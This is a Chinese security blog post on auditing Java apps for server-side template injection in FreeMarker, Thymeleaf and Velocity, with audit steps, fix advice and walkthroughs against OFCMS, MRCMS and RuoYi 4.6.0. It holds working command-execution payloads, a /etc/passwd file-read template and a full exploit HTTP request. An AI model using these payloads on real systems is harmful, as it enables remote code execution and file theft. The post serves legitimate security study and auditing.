Featured image of post Java代码审计模板安全SSTI漏洞

Java代码审计模板安全SSTI漏洞

模板安全SSTI漏洞

Java模版引擎注入(SSTI)漏洞研究 - 郑瀚 - 博客园

https://xz.aliyun.com/news/12415

SSTI多种模版注入

1.FreeMarker模板注入

1.1.FreeMarker简介

Java安全之freemarker 模板注入 - nice_0e3 - 博客园

https://mp.weixin.qq.com/s/TtNxfSYsB4HMEpW_OBniew

FreeMarker 是一款模板引擎: 即一种基于模板和要改变的数据, 并用来生成输出文本(HTML网页,电子邮件,配置文件,源代码等)的通用工具。 它不是面向最终用户的,而是一个Java类库,是一款程序员可以嵌入他们所开发产品的组件。

目前企业中,主要用Freemarker做静态页面或是页面展示

1
2
3
4
5
6
7
使用时需要在pom.xml中引入对应依赖

<dependency>
    <groupId>org.freemarker</groupId>
    <artifactId>freemarker</artifactId>
    <version>2.3.31</version>
</dependency>

1.2.漏洞审计思路

白盒思路

  1. 判断是否使用模板技术—>从pom.xml文件中查找
  2. 判断使用模板框架
  3. 寻找可控点,尝试传入对应poc
  4. 验证利用漏洞

黑盒思路

常出现的功能点:后台模板解析处,模板文件修改处,模板文件上传处…

1.3.漏洞利用方式

1
2
3
4
5
<#assign value="freemarker.template.utility.ObjectConstructor"? new()>${value("java.lang.ProcessBuilder","calc.exe").start()}

<#assign value="freemarker.template.utility.ObjectConstructor"?new()>${value("java.lang.ProcessBuilder","whoami").start()}
<#assign value="freemarker.template.utility.JythonRuntime"?new()><@value>import os;os.system("calc.exe")
<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("open -a Calculator.app") }
1
2
3
4
5
6
7
8
9
<#assign uri=object?api.class.getResource("/").toURI()>
<#assign input=uri?api.create("file:///etc/passwd").toURL().openConnection()>
<#assign is=input?api.getInputStream()>
FILE:[<#list 0..999999999 as _>
    <#assign byte=is.read()>
    <#if byte == -1>
        <#break>
    </#if>
${byte}, </#list>]

1.4.OFCMS-freemarker模板注入漏洞

java代码审计–OFCMS

查看项目配置文件pom.xml

可以看到引入了Freemarker依赖

登录管理员后台,发现存在模板管理功能点

在about.html文件中插入poc

1
<#assign value="freemarker.template.utility.ObjectConstructor"? new()>${value("java.lang.ProcessBuilder","calc.exe").start()}

访问about.html页面成功弹出计算器

1.5.MRCMS-freemarker模板注入漏洞

1
2
运行项目命令
mvn jetty:run

从pom.xml文件可知网站使用了freemarker框架

网站后台恰好存在文章管理和文件管理和页面管理功能点

页面管理—文件管理—themes—flatweb—修改index.html或者about.html

插入恶意payload

1
<#assign value="freemarker.template.utility.Execute"?new()>${value("calc.exe")}


2.Thymeleaf模板注入

Java 安全 | Thymeleaf 模板注入原理分析

第60篇:Thymeleaf模板注入漏洞总结及修复方法(上篇)

https://mp.weixin.qq.com/s/nf4Xu8dgRC35Egrga4shXg

2.1.Thymeleaf介绍

Thymeleaf模板注入存在版本限制:Thymeleaf在3.0.0到3.0.13存在模板注入漏洞

Thymeleaf是适用于Web和独立环境的现代服务器端Java模板引擎,允许处理HTML、XML、TEXT、JAVASCRIPT、CSS、RAW。

模板引擎:
模板引擎对象是org.thymeleaf.ITemplateEngine接口的实现
Thymeleaf核心是org.thymeleaf.TemplateEngine

*Thymeleaf 模板的表达式有以下几种:{…}、消息表达式:#{…}、链接 URL 表达式:@{…}、片段表达式:~{…}。所以很多thymeleaf 模板的注入语句 ${…} 换成 {…} 也是可以利用成功的。

2.2.Thymeleaf使用

1
2
3
4
<dependency>
    <groupId>org.springframework.boot</groupId>
    <artifactId>spring-boot-starter-thymeleaf</artifactId>
</dependency>

2.3.Thymeleaf漏洞利用方式

测试中遇到很多问题就是SpringBoot版本和Thymeleaf版本不匹配的问题,只有Spring3以下版本才会使用Thymeleaf的漏洞版本,Spring3以上版本使用的Thymeleaf版本过高,不会存在模板注入问题

第一种情况,return内容可控

这种情况最容易出现thymeleaf模板注入漏洞,一旦用户提交的数据可以传到return语句中,攻击者就可以提交恶意模板注入语句使thymeleaf组件进行模板解析,造成代码执行漏洞。

第二种情况,URL路径可控

这种情况比较少见,要求方法的返回类必须为void,此时会从URL中获取viewname,以URL路由为视图名称,调用模板视图去解析。

1
__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22calc%22).getInputStream()).next()%7d__::.x

第三种情况,模板内容可控

模板内容可控这种情况太少见了

1
2
3
4
5
6
__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22whoami%22).getInputStream()).next()%7d__::.x

__${T(java.lang.Runtime).getRuntime().exec("calc")}__::RoboTerh
__${T%20(java.lang.Runtime).getRuntime().exec("calc")}__::.x
;/__${T(java.lang.runtime).getruntime().exec("calc")}__::.x
//__${T(java.lang.runtime).getruntime().exec("calc")}__::.x

2.4.漏洞修复建议

1.使用@ResponseBody或@RestController修饰

@ResponseBody 是一个Spring框架中的注解,它用于指示该方法的返回值应该直接写入HTTP响应正文ResponseBody中,而不是通过视图解析器进行渲染。使用 @ResponseBody 注解可以将方法返回值以JSON、XML等格式直接写入HTTP响应体中,常用于返回 RESTful API 接口的响应数据。

@RestController是Spring框架中的一个注解,它结合了@Controller和 @ResponseBody注解的功能,用于简化 RESTful Web 服务开发。

2.使用redirect:或forward:修饰

根据springboot定义,如果名称以redirect:开头,则不再调用ThymeleafView解析,调用RedirectView去解析controller的返回值。这里需要注意的是,除了redirect:之外,还有forward:,这点网上很少提到

3.设置为HttpServletResponse

由于controller的参数被设置为HttpServletResponse,Spring认为它已经处理了HTTP Response,因此不会发生视图名称解析,也就不会存在模板注入漏洞了。

Thymeleaf 默认会阻止 ${...} 或 ${…}** 这类模板表达式出现在 **视图名称(View Name)请求参数中,这是出于安全考虑,防止 服务器端模板注入(SSTI)攻击

1
spring.thymeleaf.enable-preprocessing=false

2.5.RuoYi4.6.0—Thymeleaf模板注入

JAVA代审-RuoYi4.6.0

项目地址:https://gitee.com/y_project/RuoYi/repository/archive/v4.6.0.zip

导入sql下两个数据库文件,使用:admin:admin123进行登录即可

更改ruoyi-admin目录下的配置文件

先看pom.xml文件,看使用了什么模板技术

使用的Thymeleaf版本为3.0.11

版本是3.0.11,是存在漏洞的版本,全局搜索::,也就是片段表达式

全局搜索::

1
__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22calc%22).getInputStream()).next()%7d__

根据路由构造请求

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
POST /monitor/cache/getNames HTTP/1.1
Host: 192.168.0.102
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:139.0) Gecko/20100101 Firefox/139.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
Referer: http://192.168.0.102/index
Priority: u=4
Content-Type: application/x-www-form-urlencoded
Content-Length: 119

fragment=__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22calc%22).getInputStream()).next()%7d__

除了getNames接口之外,getKeys和getValues接口同样也存在漏洞

3.Velocity模板注入

https://zhuanlan.zhihu.com/p/680660633

https://mp.weixin.qq.com/s/7VxKATKpJ-wMZkFaStbUxw

https://juejin.cn/post/7034112895277498404

3.1.Velocity介绍

Velocity 模板是一种用于快速开发 Web 应用程序的模板引擎。它允许开发人员使用自然语言和简单的语法来描述 Web 应用程序的 UI 和业务逻辑,从而提高开发效率和代码质量。

Velocity 小于等于 2.2 版本存在模板注入漏洞。

3.2.漏洞Demo

1
2
3
4
5
        <dependency>
            <groupId>org.apache.velocity</groupId>
            <artifactId>velocity</artifactId>
            <version>1.7</version>
        </dependency>
1
2
3
4
5
6
7
8
    @GetMapping("/ssti")
    public void velocity(String template) {
        Velocity.init();
        VelocityContext context = new VelocityContext();
        context.put("name", "lisi");
        StringWriter swOut = new StringWriter();
        Velocity.evaluate(context, swOut, "test", template);
    }

http://127.0.0.1:8081/ssti?template=%23set($e=%22e%22);$e.getClass().forName(%22java.lang.Runtime%22).getMethod(%22getRuntime%22,null).invoke(null,null).exec(%22calc%22)

1
%23set($e=%22e%22);$e.getClass().forName(%22java.lang.Runtime%22).getMethod(%22getRuntime%22,null).invoke(null,null).exec(%22calc%22)
By Lsec
最后更新于 Aug 15, 2025 17:14 +0800
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计
¹鵵ҳ